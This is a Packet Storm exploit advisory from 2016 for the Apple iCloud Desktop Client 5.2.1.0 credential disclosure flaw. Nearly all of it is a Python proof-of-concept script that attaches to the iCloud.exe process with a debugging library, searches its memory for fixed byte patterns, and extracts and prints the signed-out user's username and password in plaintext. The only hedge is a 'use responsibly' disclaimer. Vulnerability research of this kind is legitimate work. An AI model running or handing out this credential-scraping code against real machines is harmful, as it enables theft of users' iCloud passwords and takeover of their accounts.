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Apple iCloud Desktop Client 5.2.1.0 Credential Disclosure

🗓️ 08 Sep 2016 00:00:00Reported by Yakir WizmanType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 22 Views

Apple iCloud Desktop Client v5.2.1.0 Local Credentials Disclosure After Sign Out Exploit. Vulnerable to local credentials disclosure after user log out, storing credentials in plaintext in memory process

Code
`#####  
# Apple iCloud Desktop Client v5.2.1.0 Local Credentials Disclosure After Sign Out Exploit  
# Tested on Windows Windows 7 64bit, English  
# Vendor Homepage @ https://www.apple.com/  
# Product Homepage @ https://support.apple.com/en-us/HT204283  
# Date 07/09/2016  
# Bug Discovery by:  
#  
# Yakir Wizman (https://www.linkedin.com/in/yakirwizman)  
# http://www.black-rose.ml  
#  
# Viktor Minin (https://www.linkedin.com/in/MininViktor)  
# https://1-33-7.com/  
#  
# Alexander Korznikov (https://www.linkedin.com/in/nopernik)  
# http://korznikov.com/  
#  
#####  
# Apple iCloud Desktop Client v5.2.1.0 is vulnerable to local credentials disclosure after the user is logged out.  
# It seems that iCloud does not store the supplied credentials while the user is logged in, but after sign out the supplied username and password are stored in a plaintext format in memory process.  
# Funny eh?!  
# A potential attacker could reveal the supplied username and password in order to gain access to iCloud account.  
#  
# Authors are not responsible for any misuse or demage which caused by use of this script code.  
# Please use responsibly.  
#####  
# Proof-Of-Concept Code:  
  
import time  
import urllib  
from winappdbg import Debug, Process  
  
def b2h(str):  
return ''.join(["%02X " % ord(x) for x in str]).strip()  
  
def h2b(str):  
bytes = []  
str = ''.join(str.split(" "))  
for i in range(0, len(str), 2):  
bytes.append(chr(int(str[i:i+2], 16)))  
return ''.join(bytes)  
  
usr = ''  
pwd = ''  
found = 0  
filename = "iCloud.exe"  
process_pid = 0  
memory_dump = []  
  
debug = Debug()  
try:  
print "#########################################################################"  
print "#\tApple iCloud v5.2.1.0 Local Credentials Disclosure Exploit\t#"  
print "# Bug Discovery by Yakir Wizman, Victor Minin, Alexander Korznikov\t#"  
print "#\t\tTested on Windows Windows 7 64bit, English\t\t#"  
print "#\t\t\tPlease use responsibly.\t\t\t\t#"  
print "#########################################################################\r\n"  
print "[~] Searching for pid by process name '%s'.." % (filename)  
time.sleep(1)  
debug.system.scan_processes()  
for (process, process_name) in debug.system.find_processes_by_filename(filename):  
process_pid = process.get_pid()  
if process_pid is not 0:  
print "[+] Found process with pid #%d" % (process_pid)  
time.sleep(1)  
print "[~] Trying to read memory for pid #%d" % (process_pid)  
  
process = Process(process_pid)  
for address in process.search_bytes('\x88\x38\xB7\xAE\x73\x8C\x07\x00\x0A\x16'):  
memory_dump.append(process.read(address,50))  
  
try:  
str = b2h(memory_dump[0]).split('88 38 B7 AE 73 8C 07 00 0A 16')[1]  
usr = h2b(str.split(' 00')[0])  
except:  
pass  
  
memory_dump = []  
for address in process.search_bytes('\x65\x00\x88\x38\xB7\xAE\x73\x8C\x07\x00\x02\x09'):  
memory_dump.append(process.read(address,60))  
try:  
str = b2h(memory_dump[0]).split('07 00 02 09')[1]  
pwd = h2b(str.split(' 00')[0])  
except:  
pass  
  
if usr != '' and pwd !='':  
found = 1  
print "[+] iCloud Credentials found!\r\n----------------------------------------"  
print "[+] Username: %s" % usr  
print "[+] Password: %s" % pwd  
if found == 0:  
print "[-] Credentials not found!"  
else:  
print "[-] No process found with name '%s'." % (filename)  
  
debug.loop()  
finally:  
debug.stop()  
  
`

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